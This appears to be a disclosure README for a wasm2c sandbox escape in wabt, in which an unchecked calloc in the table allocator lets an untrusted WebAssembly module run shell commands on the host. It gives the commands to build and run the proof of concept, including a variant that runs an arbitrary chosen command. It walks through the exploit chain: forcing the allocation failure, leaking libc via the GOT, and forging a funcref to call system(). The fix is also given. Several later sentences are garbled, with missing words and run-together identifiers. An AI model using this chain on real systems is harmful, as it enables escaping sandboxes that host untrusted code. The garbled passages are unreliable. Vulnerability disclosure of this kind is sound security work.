
wasm2c sandbox escape. An untrusted WebAssembly module breaks out of the generated C sandbox and executes an arbitrary shell command on the host.
Read the blog: trustsig.eu/blog
wasm_rt_allocate_funcref_table() in wasm2c/wasm-rt-impl-tableops.inc sets
table->size from the module's declared element count and then ignores the result of
calloc(). When the allocation fails the table is left with data == NULL and the full
declared size, so every bounds check still passes and table->data[i] becomes the
absolute address i * sizeof(wasm_rt_funcref_t).
The element count comes from the guest, so the guest picks the allocation size and can force the failure.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
The image clones wabt at tag 1.0.41 from upstream, builds wat2wasm and wasm2c,
compiles the guest module and a plain embedder, and runs it.
Expected output:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
The last line is the contents of /tmp/pwned.txt, a file that did not exist before the
sandboxed module ran.
Verified on linux/arm64 and linux/amd64. Nothing in the module is architecture
specific: the instance address, the GOT slot and the libc offset are all resolved at
build time from the binary that was just built and from that image's libc.
On Linux, with clang, cmake, ninja and binutils installed:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS is not a supported target for this PoC. Darwin does not enforce RLIMIT_AS, so
the oversized calloc succeeds and the bug never triggers, arm64 macOS builds are always
position independent, and Mach-O has no ELF GOT for the leak step. The defect itself is
platform independent; only this exploit chain is Linux specific.
Other versions and commands:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref). The 68 GB calloc fails, data is NULL,
size stays 2147483648, and table indices become absolute addresses.table.get at got_slot/32 reads the embedder's GOT through the broken table and
table.set stores the result into the module's own globals, where wasm code can read
it as an integer. That leaks libc's malloc address, and system follows from a
fixed distance in the target's libc.wasm_rt_funcref_t in four consecutive globals: func_type pointing at a
copy of the call site's type hash (func_types_eq_slowpath compares it with
, so guest-controlled bytes pass the check), = , and
= the command string, also held in globals.Only layout fact baked into the module is the address of the module instance, which is a global and therefore fixed in a non-PIE embedder. ASLR stays enabled; the libc address is leaked at runtime.
The table allocation has to fail. The PoC uses ulimit -v 1000000, an address space
limit of the kind a host that runs untrusted code would set. It also fails on 32-bit
hosts, where the allocation cannot be satisfied at all, with
vm.overcommit_memory=2, or under enough memory pressure.
On stock 64-bit Linux with the default overcommit heuristic the allocation succeeds and is never touched, which is why the bug survives normal testing.
Every release that ships wasm2c tables. The unchecked calloc dates to commit
ab9e0b55 (#813). Verified against released 1.0.41 and current main.
The memory allocator in the same runtime handles this case:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
The table allocator needs the same check.
Dockerfile builds wabt and runs the PoC.tableflip_poc.py generates the guest module, builds the embedder, resolves the three
constants out of the built binary and the target's libc with nm and readelf, and
runs it. The embedder it emits contains no exploit support code.memcmpfuncsystemmodule_instancecall_indirect at globals_addr/32. wasm2c emits
((t)entry.func)(entry.module_instance, ...), so this calls system(command).